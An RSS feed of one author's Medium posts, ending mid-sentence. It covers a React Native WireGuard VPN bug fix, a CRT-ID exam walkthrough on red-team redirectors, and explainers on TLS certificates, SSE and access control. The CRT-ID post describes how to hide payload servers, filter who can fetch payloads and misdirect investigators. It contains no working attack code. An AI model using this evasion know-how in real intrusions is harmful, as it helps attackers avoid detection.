<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdul Ahad on Medium]]></title>
        <description><![CDATA[Stories by Abdul Ahad on Medium]]></description>
        <link>https://medium.com/@ab.zarinc?source=rss-76f82811082b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*er5N4HTz7jvzWtx2tXP2jg.png</url>
            <title>Stories by Abdul Ahad on Medium</title>
            <link>https://medium.com/@ab.zarinc?source=rss-76f82811082b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 08 Jun 2026 12:25:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ab.zarinc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[I Fixed Two Production-Blocking Bugs in a React Native WireGuard VPN Library - Here’s What I Found]]></title>
            <link>https://medium.com/@ab.zarinc/i-fixed-two-production-blocking-bugs-in-a-react-native-wireguard-vpn-library-heres-what-i-found-0276be81ccfe?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0276be81ccfe</guid>
            <category><![CDATA[split-tunneling]]></category>
            <category><![CDATA[wireguard]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[react-native]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 10:18:04 GMT</pubDate>
            <atom:updated>2026-04-12T10:18:04.238Z</atom:updated>
            <content:encoded><![CDATA[<p>A deep dive into Android VPN permission handling and split tunneling, and why the most popular WireGuard package for React Native silently fails in production.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWqGG8d9VQllx_CnOTIUAg.png" /><figcaption>Android VPN permission handling (Chat-GPT Generated illustration)</figcaption></figure><h3>Introduction:</h3><p>If you have ever tried to build a WireGuard VPN client in React Native, you have probably landed on react-native-wireguard-vpn. It has the most installs, the cleanest API, and working iOS and Android native modules. It looks like the right choice.</p><p>It is not production-ready on Android.</p><p>After shipping a VPN application and watching it silently fail on fresh devices, I traced the failures down to two missing pieces in the native Android module. I patched them, published the fork, and this article documents exactly what was wrong and how the fixes work.</p><h3>The Two Bugs:</h3><h3>Bug 1 - Android VPN Permission Is Never Requested</h3><p>Android requires explicit user consent before any app can open a VPN tunnel. The API for this is VpnService.prepare(). If the user has never granted VPN permission to your app, prepare() returns an Intent that must be launched — it shows the system permission dialog.</p><p>The original library’s connect() method skips this entirely:</p><pre>// Original code — no permission check<br>fun connect(config: ReadableMap, promise: Promise) {<br>    val builder = VpnService.Builder()<br>    // ... tunnel setup continues unconditionally<br>}</pre><p>On a device where permission has never been granted, one of two things happens: a silent failure with no error code, or a native crash. There is no way for the JavaScript layer to know permission is needed, and no mechanism to show the dialog.</p><h3>Bug 2 - No Split Tunneling Support</h3><p>Android has supported per-app VPN exclusions since API 21 via VpnService.Builder.addDisallowedApplication(). This is a standard feature in every production VPN app — users expect to be able to exclude their banking app, their corporate MDM, or their streaming service from the tunnel.</p><p>The original module does not wire this up at all. There is no excludedApps parameter, no call to addDisallowedApplication(), and no TypeScript interface field for it.</p><h3>The Fixes:</h3><h3>Fix 1 - VPN Permission Check</h3><p>Before the tunnel is brought up, VpnService.prepare() is called. If Android needs to show the permission dialog, the module launches it and immediately rejects the promise with the error code VPN_PERMISSION_REQUIRED:</p><pre>val intent = VpnService.prepare(reactApplicationContext)<br>if (intent != null) {<br>    val activity = getCurrentActivity()<br>    if (activity != null) {<br>        activity.startActivityForResult(intent, 1000)<br>        promise.reject(<br>            &quot;VPN_PERMISSION_REQUIRED&quot;,<br>            &quot;Please accept the Android VPN permission dialog.&quot;<br>        )<br>        return<br>    }<br>}</pre><p>The JavaScript caller handles this by listening for the app returning to the foreground, then retrying connect():</p><pre>const connect = async () =&gt; {<br>  try {<br>    await WireGuard.connect(config);<br>  } catch (err) {<br>    if (err.code === &#39;VPN_PERMISSION_REQUIRED&#39;) {<br>      const sub = AppState.addEventListener(&#39;change&#39;, async (state) =&gt; {<br>        if (state === &#39;active&#39;) {<br>          sub.remove();<br>          await WireGuard.connect(config);<br>        }<br>      });<br>    }<br>  }<br>};</pre><p>On the second call, VpnService.prepare() returns null (permission already granted) and the tunnel starts normally.</p><h3>Fix 2 - Split Tunneling via excludedApps</h3><p>The connect() method now accepts an optional excludedApps string array. Each entry is an Android package name. The native module calls Builder.excludeApplication() for each one, routing those apps outside the VPN tunnel:</p><pre>if (config.hasKey(&quot;excludedApps&quot;)) {<br>    val excludedApps = config.getArray(&quot;excludedApps&quot;)?.toArrayList()<br>    excludedApps?.forEach { app -&gt;<br>        (app as? String)?.let { packageName -&gt;<br>            try {<br>                interfaceBuilder.excludeApplication(packageName)<br>            } catch (e: Exception) {<br>                println(&quot;Failed to exclude app $packageName: ${e.message}&quot;)<br>            }<br>        }<br>    }<br>}</pre><p>Failures for individual package names are logged and non-fatal — the tunnel still comes up even if one entry is invalid.</p><p>The TypeScript interface was updated to match:</p><pre>interface WireGuardConfig {<br>  privateKey: string;<br>  publicKey: string;<br>  serverAddress: string;<br>  serverPort: number;<br>  address?: string | string[];<br>  allowedIPs: string[];<br>  dns?: string[];<br>  mtu?: number;<br>  presharedKey?: string;<br>  excludedApps?: string[];  // Android only — package names to bypass VPN<br>}</pre><p>Usage:</p><pre>await WireGuard.connect({<br>  privateKey: &#39;&lt;client-private-key&gt;&#39;,<br>  publicKey: &#39;&lt;server-public-key&gt;&#39;,<br>  serverAddress: &#39;203.0.113.1&#39;,<br>  serverPort: 51820,<br>  address: &#39;10.64.0.2/32&#39;,<br>  allowedIPs: [&#39;0.0.0.0/0&#39;, &#39;::/0&#39;],<br>  dns: [&#39;1.1.1.1&#39;, &#39;8.8.8.8&#39;],<br>  excludedApps: [<br>    &#39;com.google.android.apps.maps&#39;,<br>    &#39;com.example.bankingapp&#39;,<br>  ],<br>});</pre><h3>Installation</h3><pre>npm install react-native-wireguard-vpn-patched@next<br># or<br>yarn add react-native-wireguard-vpn-patched@next</pre><p>If migrating from the original:</p><pre>npm uninstall react-native-wireguard-vpn<br>npm install react-native-wireguard-vpn-patched@next</pre><p>The API is identical - only the import path changes.</p><h3>Why These Bugs Exist</h3><p>These are not obscure edge cases. Every Android device that has never run your app before will hit Bug 1. Every user who wants to exclude an app from the tunnel hits Bug 2. Both failures are silent or crash-level without the fixes.</p><p>The root cause is that the original module was likely developed and tested on a device where VPN permission had already been granted manually, and split tunneling was never in scope. Neither fix is complex — together they add roughly 30 lines of Kotlin. But without them, the library cannot be shipped in a real VPN product.</p><h3>Links</h3><ul><li>npm: react-native-wireguard-vpn-patched</li><li>GitHub: github.com/AbdulAHAD968/react-native-wireguard-vpn-patched</li><li>Original package: react-native-wireguard-vpn by usama7365</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0276be81ccfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRT-ID Exam - Full Walkthrough]]></title>
            <link>https://medium.com/@ab.zarinc/crt-id-exam-full-walkthrough-88fe96faed4f?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/88fe96faed4f</guid>
            <category><![CDATA[crtid]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberwarfare-labs]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Sun, 05 Oct 2025 07:25:43 GMT</pubDate>
            <atom:updated>2025-10-05T07:25:43.831Z</atom:updated>
            <content:encoded><![CDATA[<p>Hands-on guide for the CRT-ID redirector challenge: everything I did, why it matters, commands, configs, tests, and lessons learned</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*e1gZJW9vcSNoV6I-6cSMLA.png" /><figcaption>(My CRT-ID Certificate)</figcaption></figure><p>This walkthrough shows how to solve the CRT-ID redirector exam: prepare your VM, start the backend payload server, fix a broken Nginx redirector, implement 10 targeted protections/behaviours (user-agent filtering, IP whitelisting, internal rewrites, redirects, rate limiting, proxying, status endpoint, regex matching, and blocking defaults), test each change with curl, and collect the flags. I include the exact Nginx snippets and all commands I used so you can reproduce and explain it in a Medium article.</p><h3>Intro - what this walkthrough covers (and what it won’t)</h3><p>The CRT-ID practical exam tests your ability to build and harden redirector infrastructure used in red-team operations. The exam is hands-on and time-boxed, so success depends on both technical chops and exam strategy.</p><p>This post covers:</p><ul><li>Pre-exam preparation and environment checklist</li><li>A robust strategy for tackling hands-on tasks efficiently</li><li>Testing methodology and useful, non-sensitive command patterns</li><li>Common pitfalls and how to avoid them</li><li>Time management and final validation steps</li><li>Post-exam notes and ethical publishing guidance</li></ul><p>It <strong>does not</strong> contain any exam question text, flag values, or step-by-step instruction that reproduces the exam content verbatim.</p><h3>Why redirectors matter (short primer)</h3><p>Redirectors sit between the open internet and your team infrastructure. They let you:</p><ul><li>Separate attacker infrastructure from the payload server (OPSEC)</li><li>Filter who can fetch payloads (by IP, headers, etc.)</li><li>Rewrite or proxy requests so external observers never see the real backend paths</li><li>Deceive or misdirect people who stumble on sensitive endpoints</li><li>Rate limit and mitigate scanning or brute-force discovery</li></ul><p>In short: redirectors help you run stealthy, resilient red-team operations.</p><h3>Before you start - environment &amp; tools checklist</h3><p>Make sure you have a stable workstation and the following available:</p><ul><li>A Linux box (Debian/Ubuntu recommended) with an SSH client</li><li>A plain text editor you’re comfortable with (nano, vim, code, etc.)</li><li>Basic tools: curl, ss/netstat, tail (for logs), python3 for quick local HTTP servers</li><li>Familiarity with Nginx or the web server the lab uses (high level — not memorization)</li><li>A personal “cheat sheet” with command patterns and conceptual notes (not the exam answers)</li></ul><p><strong>Local lab installs (if you want a practice bench):</strong></p><pre>sudo apt update<br>sudo apt install nginx python3 curl -y</pre><h3>Mindset &amp; strategy — first 15 minutes</h3><ol><li><strong>Read everything once.</strong> Don’t start making changes yet. Note dependencies — some tasks require the backend to be reachable first.</li><li><strong>Identify prerequisites.</strong> Which tasks depend on correct proxying, which ones are purely request-filter based, which require testing from specific IPs?</li><li><strong>Stabilize the backend.</strong> Ensure the payload directory or test server is reachable locally — this avoids wasting time chasing proxy issues later.</li><li><strong>Backup everything.</strong> Copy the original configuration before editing. Reverts are limited; local backups let you manually rollback.</li><li><strong>Plan your order.</strong> Tackle tasks that unblock others first (e.g., fix proxying before testing higher-level filters).</li></ol><h3>Implementation approach - iterate, test, iterate</h3><p><strong>General rule:</strong> make one small change, test it thoroughly, then move on.</p><ol><li><strong>Make one change.</strong> Edit a single block, fix a single directive, or add one rule.</li><li><strong>Syntax check.</strong> Always run the server’s syntax/test command before reloading (this avoids being left with a dead service).</li><li><strong>Reload safely.</strong> Use the service manager’s reload (not restart) when possible so in-flight connections are handled gracefully.</li><li><strong>Targeted test.</strong> Use curl or equivalent to craft a request that exercises only that change (custom headers, specific path, etc.).</li><li><strong>Inspect logs.</strong> If it fails, tail the server error log in another terminal to see why. Logs often show the exact problem.</li></ol><h3>Non-sensitive testing primitives (generic examples)</h3><p>Use these patterns to validate behaviors. Replace placeholder values with your lab’s specifics when testing <em>in the lab</em> (don’t publish specifics):</p><ul><li>Send a request with a custom user agent:</li></ul><pre>curl -I -A &quot;MY-USER-AGENT&quot; http://localhost/path</pre><ul><li>Check status or simple text endpoints:</li></ul><pre>curl http://localhost/status</pre><ul><li>Test redirection and follow headers:</li></ul><pre>curl -I http://localhost/some/path</pre><ul><li>Simulate bursts to test throttling:</li></ul><pre>for i in {1..8}; do curl -I -A &quot;MY-USER-AGENT&quot; http://localhost/path; echo; done</pre><ul><li>Confirm backend is listening:</li></ul><pre>ss -tulnp | grep &lt;PORT&gt;</pre><ul><li>Watch server logs during tests:</li></ul><pre>tail -f /var/log/nginx/error.log  #(or the web server&#39;s error log path)</pre><p>These are all generic and safe to publish; they teach methodology without leaking exam content.</p><h3>Example task types (Similar to Exam, as Icannot chare directly)</h3><p>The actual exam asks you to implement a set of protective/operational behaviors. Here’s how to think about the common task types — no answers, only intentions and what to validate:</p><h4>1. Header-based filtering (e.g., user-agent)</h4><ul><li><em>Goal:</em> Allow only trusted clients that present a secret or patterned header; return forbidden for everything else.</li><li><em>What to validate:</em> Requests with the trusted header succeed; other requests are denied (status 403 or similar).</li></ul><h4>2. Network whitelisting</h4><ul><li><em>Goal:</em> Limit certain sensitive endpoints to known operational subnets or hosts.</li><li><em>What to validate:</em> Requests from allowed IPs succeed; requests from other IPs are denied.</li></ul><h4>3. Internal rewrites</h4><ul><li><em>Goal:</em> Map a public-facing path to an internal payload path without exposing internal structure.</li><li><em>What to validate:</em> Authorized requests should receive the payload as if they requested the public path; external observers should not be redirected visibly to the internal path.</li></ul><h4>4. Decoy redirects</h4><ul><li><em>Goal:</em> If someone tries to access a “sensitive” resource directly, redirect them to a benign, commonly visited site to blend in.</li><li><em>What to validate:</em> Direct requests should return a redirect (302/301) to the chosen benign URL and not the payload.</li></ul><h4>5. Rate limiting</h4><ul><li><em>Goal:</em> Allow short bursts for legitimate clients while preventing enumeration by scanners.</li><li><em>What to validate:</em> Normal bursts pass; rapid repeated requests are throttled or rejected.</li></ul><h4>6. Health endpoints:</h4><ul><li><em>Goal:</em> Expose an internal status path accessible only from local or whitelisted hosts for health checks.</li><li><em>What to validate:</em> Local host gets a simple OK response, external hosts are denied.</li></ul><h3>Common pitfalls &amp; how to avoid them:</h3><ul><li><strong>Syntax errors:</strong> Missing semicolons, braces, or quoting mistakes. Always run the server’s config test before reloading.</li><li><strong>Wrong backend port/path:</strong> Confirm the backend is actually listening where you think it is. A bad proxy target looks like a “mystery failure.”</li><li><strong>Order and precedence issues:</strong> The order of access control/rewrites/redirects matters. If a rule doesn’t fire, consider it might be shadowed by an earlier match.</li><li><strong>Testing from the wrong IP:</strong> When a rule relies on source IP, make sure your test originates from an allowed or disallowed address intentionally — otherwise you’ll get false positives.</li><li><strong>Over-using reverts:</strong> You typically have a limited number of environment reverts. Use local backups first — only revert when unrecoverable.</li></ul><h3>Time management:</h3><ul><li><strong>First 10–20 min:</strong> Read all tasks, stabilize backend, backup config, plan order.</li><li><strong>Next 3–4 hours:</strong> Implement most tasks. Focus on those that unblock others. Keep changes small and test frequently.</li><li><strong>Last 1–1.5 hours:</strong> Validate edge cases, polish, ensure every behavior the exam expects is reproducible. If a single task is failing and blocking progress, consider moving on and returning with fresh eyes.</li></ul><pre># Just kidding, It&#39;s a 1 hour hack (I mean it will take maximum 1 hour in your worst performance scenario)</pre><h3>Further study resources:</h3><p>(Non-exam, public resources to improve the skills tested by CRT-ID)</p><ul><li>Official server documentation for your web server (Nginx, Apache) — read the “configuration” and “location matching” chapters</li><li>HTTP basics: status codes, headers, request/response lifecycle</li><li>Practical OPSEC and red team blogs (search for “redirector proxy red team”)</li><li>CTF-style web exercises and local labs — build your own redirector scenarios and practice safely</li></ul><h3>Closing thoughts:</h3><p>The CRT-ID redirector exam is less about memorizing config lines and more about <strong>thinking like an operator</strong>: control your attack surface, only expose what you must, and validate behavior precisely and quickly. By preparing a compact mindset checklist, having a testing methodology, and practicing small, iterative changes, you’ll be able to perform confidently under the exam’s time box.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88fe96faed4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-Signed vs CA-Signed TLS Certificates: What’s the Real Deal?]]></title>
            <link>https://medium.com/@ab.zarinc/self-signed-vs-ca-signed-tls-certificates-whats-the-real-deal-30ac7e25e399?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/30ac7e25e399</guid>
            <category><![CDATA[tls-certificate]]></category>
            <category><![CDATA[self-signed-certificate]]></category>
            <category><![CDATA[world-wide-web]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 13:32:37 GMT</pubDate>
            <atom:updated>2025-08-20T13:32:37.028Z</atom:updated>
            <content:encoded><![CDATA[<p>Ever wondered why some websites show that reassuring green lock icon while others throw scary security warnings at you? It all comes down to something called TLS certificates and how they’re “signed.” Let’s chat about this like we’re having coffee together - no intimidating tech speak, just straight talk about what matters for your website’s security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ep8tylB5Hga-yj2BP9jPXA.jpeg" /><figcaption>(Difference)</figcaption></figure><h3>What’s a TLS Certificate Anyway?</h3><p>Think of a TLS certificate as your website’s ID card. Just like you need an ID to prove who you are at the bank, your website needs a certificate to prove it’s legitimate to visitors’ browsers.</p><p><strong>TLS</strong> (Transport Layer Security) is the technology that encrypts the connection between someone’s browser and your website. It’s like having a private conversation in a crowded room - even if people are listening, they can’t understand what you’re saying because it’s all scrambled up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*qbBCjobmKTNoURxwZPo-pw.png" /><figcaption>(TLS Certificate)</figcaption></figure><p>The certificate does two main jobs:</p><ul><li>Proves your website is who it claims to be</li><li>Enables that encryption so data stays private</li></ul><h3>Self-Signed Certificates:</h3><p>Imagine making your own business cards on your home printer. They work fine for casual networking, but a potential client might wonder if you’re really legitimate. That’s essentially what a self-signed certificate is.</p><p>With self-signed certificates, you create and sign your own certificate using tools like <strong>OpenSSL</strong> (a free software toolkit for handling encryption). You’re basically saying “Trust me, I am who I say I am” — but you’re vouching for yourself.</p><h3>How It Works Under the Hood?</h3><p>Here’s what happens when someone visits a site with a self-signed certificate:</p><ol><li>Your browser asks the server “Who are you?”</li><li>The server responds with its self-signed certificate</li><li>Your browser checks: “Who verified this certificate?”</li><li>Answer: “The website verified itself”</li><li>Browser thinks: “That’s suspicious” and shows a warning</li></ol><p>It’s like someone showing up at your door with a handwritten note saying “I’m definitely a pizza delivery person, signed: Definitely a pizza delivery person.”</p><h3>The Good and Not-So-Good:</h3><h4><strong>Why people use them:</strong></h4><ul><li><strong>Free and fast</strong> — Generate one in minutes with no paperwork</li><li><strong>Perfect for testing</strong> — Great for development environments or internal company networks</li><li><strong>No middleman</strong> — You control everything about the certificate</li></ul><h4><strong>The downsides:</strong></h4><ul><li><strong>Browser warnings</strong> — Users see scary “Not Secure” messages that might make them leave</li><li><strong>No real verification</strong> — Anyone can claim to be your website</li><li><strong>Security gaps</strong> — Easier for attackers to impersonate your site</li></ul><h3>CA-Signed Certificates: The Official Stamp</h3><p>Now imagine those same business cards, but printed by a well-known, respected printing company that everyone trusts. That’s a CA-signed certificate.</p><p>A <strong>Certificate Authority (CA)</strong> is like a trusted notary for the internet. Companies like <strong><em>Let’s Encrypt</em></strong>, <strong><em>DigiCert</em></strong>, and <strong><em>GlobalSign</em></strong> verify that you really own the domain you’re getting a certificate for, then they sign your certificate with their digital signature.</p><h3>The Architecture Behind Trust</h3><p>Here’s the beautiful part about how this works:</p><p>Your browser comes with a built-in list of trusted CAs (called a <strong>trust store</strong>). When you visit a website:</p><ol><li>Server sends its CA-signed certificate</li><li>Browser checks: “Who signed this?”</li><li>Browser looks up that CA in its trust store</li><li>If the CA is trusted, browser says “All good!” and shows the green lock</li><li>If not trusted, you get warnings</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*wM9jpKdfd67U-A7dV70u9A.png" /><figcaption>(Trust verification cycle)</figcaption></figure><p>This creates what we call a <strong>chain of trust</strong>. It’s like having a friend vouch for someone they trust, who vouches for someone they trust, and so on.</p><h3>Types of CA Validation</h3><p>CAs don’t just rubber-stamp every request. They offer different levels of verification:</p><h4><strong>Domain Validation (DV):</strong></h4><p>Prove you control this domain</p><ul><li>Usually done by email or adding a special file to your website</li><li>Takes minutes to hours</li><li>Most common and often free (thanks, Let’s Encrypt!)</li></ul><h4><strong>Organization Validation (OV):</strong></h4><p>Prove your business exists</p><ul><li>Requires business documentation</li><li>Takes a few days</li><li>Shows some company info in the certificate</li></ul><h4><strong>Extended Validation (EV):</strong></h4><p>Prove everything about your business</p><ul><li>Deep background check on your company</li><li>Takes weeks but shows your company name prominently in browsers</li><li>Most expensive but highest trust level</li></ul><h3>When Should You Use Which?</h3><p>This is where ethics and practicality meet. Here’s my take:</p><h4>Use Self-Signed When:</h4><ul><li><strong>Internal company tools</strong> that only employees access</li><li><strong>Development and testing</strong> environments</li><li><strong>Personal projects</strong> where you can warn users what’s happening</li><li><strong>Learning and experimenting</strong> with TLS</li></ul><h4>Use CA-Signed When:</h4><ul><li><strong>Any public-facing website</strong> (seriously, any of them)</li><li><strong>E-commerce sites</strong> where people enter payment info</li><li><strong>Login pages</strong> where users enter passwords</li><li><strong>Professional websites</strong> where trust matters</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ucnt7mDi9jErKHJS2evThQ.png" /><figcaption>(When Should You Use Which?)</figcaption></figure><h3>The Ethical Side of Certificate Choices</h3><p>Here’s something we need to talk about: using the wrong type of certificate isn’t just a technical choice - it’s an ethical one.</p><p>If you run a public website with a self-signed certificate, you’re essentially asking users to ignore their browser’s security warnings. That trains people to click through security alerts, which makes them vulnerable to actual attacks elsewhere.</p><p>It’s like crying wolf - when everything shows a security warning, people stop paying attention to real threats. As website owners, we have a responsibility to use proper certificates that keep users safe and maintain their trust in web security overall.</p><h3>Conclusion:</h3><p>Think of it this way: self-signed certificates are like homemade ID cards - fine for the family reunion, but not so great for opening a bank account. CA-signed certificates are like government-issued IDs - universally trusted and accepted.</p><p>The web is built on trust, and certificates are a big part of maintaining that trust. Choose wisely, implement properly, and always put your users’ security first. Remember, good security isn’t just about protecting data - it’s about respecting your users enough to implement industry best practices. That’s not just good tech, it’s good ethics.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30ac7e25e399" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Simple Guide to Security Service Edge (SSE) in Cybersecurity]]></title>
            <link>https://medium.com/@ab.zarinc/a-simple-guide-to-security-service-edge-sse-in-cybersecurity-6b9087811867?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b9087811867</guid>
            <category><![CDATA[security-service-edge]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[network-protection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[zero-trust]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Sun, 17 Aug 2025 12:31:22 GMT</pubDate>
            <atom:updated>2025-08-17T12:31:22.674Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s world, where people work from anywhere and use cloud apps, keeping data and networks secure is a big challenge. Security Service Edge (SSE) is a cloud-based solution that makes this easier by combining multiple security tools into one platform.</p><p>It’s a key part of Secure Access Service Edge (SASE), focusing on securing access to web, cloud apps, and private systems, no matter where users or devices are located. Here’s a simple breakdown of what SSE is, its key components, and why it matters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6G301R48jgz-1Mlf3e9nQ.jpeg" /><figcaption>(100% security and visibility)</figcaption></figure><h3>What is SSE?</h3><p>SSE is a cloud-delivered security framework that protects users, devices, and networks by integrating tools like Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), Cloud Access Security Broker (CASB), and Firewall-as-a-Service (FWaaS). It ensures safe access to applications and data, whether users are at home, in the office, or on the go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*mH4QXeIJj7bgcARxNe9zcQ.png" /><figcaption>(SSE Framework!)</figcaption></figure><h3>Key Components of SSE</h3><p>SSE combines these powerful tools into one platform:</p><h4><strong>1. Zero Trust Network Access (ZTNA)</strong></h4><ul><li><strong>What it does</strong>: Grants access to specific apps or data only after verifying the user’s identity and device security.</li><li><strong>How it works</strong>: Instead of trusting everyone on a network, ZTNA checks every access request, ensuring only authorized users get in.</li><li><strong>Example</strong>: A remote worker needs to access a company app. ZTNA confirms their identity and device before allowing access, blocking everything else.</li></ul><h4><strong>2. Secure Web Gateway (SWG)</strong></h4><ul><li><strong>What it does</strong>: Protects users from web-based threats by filtering internet traffic.</li><li><strong>How it works</strong>: SWG scans websites for malware, blocks risky URLs, and enforces browsing policies to keep users safe.</li><li><strong>Example</strong>: If someone clicks a phishing link, SWG stops the connection to the harmful site.</li></ul><h4><strong>3. Cloud Access Security Broker (CASB)</strong></h4><ul><li><strong>What it does</strong>: Secures cloud apps like Google Drive or Salesforce.</li><li><strong>How it works</strong>: CASB monitors cloud usage, enforces data protection rules, and blocks unauthorized apps to prevent data leaks.</li><li><strong>Example</strong>: If an employee tries to upload sensitive files to a personal cloud, CASB stops it and alerts IT.</li></ul><h4><strong>4. Firewall-as-a-Service (FWaaS)</strong></h4><ul><li><strong>What it does</strong>: Acts like a next-generation firewall but runs in the cloud.</li><li><strong>How it works</strong>: FWaaS blocks threats like malware or intrusions by inspecting traffic and using advanced features like sandboxing.</li><li><strong>Example</strong>: A hacker tries to send malware through the network; FWaaS detects and stops it.</li></ul><h3>Why SSE Matters?</h3><p>SSE is a game-changer for cybersecurity, especially in today’s flexible work environment. Here’s why it’s important:</p><ul><li><strong>Secures Remote Work</strong>: Protects employees working from anywhere by applying consistent security rules to cloud and private apps.</li><li><strong>Simplifies Security</strong>: Combines multiple tools into one cloud platform, making it easier to manage than separate systems.</li><li><strong>Enforces Zero Trust</strong>: Verifies every user and device, reducing the risk of cyberattacks by limiting access to only what’s needed.</li><li><strong>Boosts Visibility</strong>: Gives IT teams clear insights into user activity and network traffic to spot and stop threats fast.</li><li><strong>Scales Easily</strong>: As a cloud service, SSE grows with your organization, adapting to new needs without complex hardware.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*lTCC_T6bmM4PgyFdyHWK2w.png" /><figcaption>(Image from SASE Advanced Security Course [CATO Network] )</figcaption></figure><h3>Takeaway</h3><p>SSE makes cybersecurity simpler and stronger by combining key tools like ZTNA, SWG, CASB, and FWaaS into one cloud-based platform. It ensures secure access to apps and data, protects against threats, and supports a remote workforce — all while being easy to manage and scale. For businesses looking to stay secure in a cloud-first world, SSE is a must-have.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b9087811867" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Access Management Mechanisms: A Simple Guide]]></title>
            <link>https://medium.com/@ab.zarinc/understanding-access-management-mechanisms-a-simple-guide-b2e8d3d5d007?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2e8d3d5d007</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[access-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[it-infrastructure]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Sat, 16 Aug 2025 16:51:27 GMT</pubDate>
            <atom:updated>2025-08-16T16:51:27.575Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s digital world, keeping networks and data secure is critical. Access management mechanisms help organizations control who can access their systems and data, ensuring security and compliance. In this blog, we’ll explore five key access management technologies — ZTNA, NGFW, NAC, CASB, and SWG - in simple terms, explaining what they are and how they work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zd0p-UUNOCLozOGnxMaMTA.jpeg" /><figcaption>(Access Management!)</figcaption></figure><h3>1. Zero Trust Network Access (ZTNA)</h3><h4><strong>What is it?</strong></h4><p>ZTNA is a security approach that assumes no one — inside or outside the network — is automatically trusted. It verifies every user and device before granting access to specific resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*zkskSKaUa98xuAEHUZ0jlA.png" /><figcaption>[ Zero Trust Network Access (ZTNA) ]</figcaption></figure><h4><strong>How does it work?</strong></h4><p>ZTNA creates a secure connection between a user and an application, often using a cloud-based service. It checks the user’s identity, device security, and context (like location or time) before allowing access. Instead of giving broad network access, ZTNA limits access to only what’s needed, reducing the risk of unauthorized access.</p><h4><strong>Example:</strong></h4><p>A remote employee accessing a company app must log in with multi-factor authentication (MFA) and use a secure device. ZTNA ensures they can only access that specific app, not the entire network.</p><h3>2. Next-Generation Firewall (NGFW)</h3><p><strong>What is it?</strong><br>NGFW is an advanced firewall that goes beyond traditional firewalls by combining multiple security features to protect networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Itepd-RAvxvuetTRKew1Fg.png" /><figcaption>[ Next-Generation Firewall (NGFW) ]</figcaption></figure><p><strong>How does it work?</strong><br>NGFWs inspect network traffic to block threats like malware, intrusions, or unauthorized access. They use deep packet inspection (DPI), intrusion prevention systems (IPS), and application-layer filtering to identify and control traffic based on applications, users, or content. NGFWs also integrate threat intelligence to stay updated on new risks.</p><h4><strong>Example:</strong></h4><p>If someone tries to access a malicious website, the NGFW detects and blocks it by analyzing the traffic and comparing it to known threat patterns.</p><h3>3. Network Access Control (NAC)</h3><p><strong>What is it?</strong><br>NAC is a security solution that controls who can connect to a network and what they can do once connected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*XmY1t7pbffgADla9-NDlLw.png" /><figcaption>[ Network Access Control (NAC) ]</figcaption></figure><p><strong>How does it work?</strong><br>NAC checks devices and users before they join the network. It verifies identities, ensures devices meet security standards (like having updated antivirus software), and assigns access levels based on policies. NAC can also isolate or quarantine non-compliant devices to 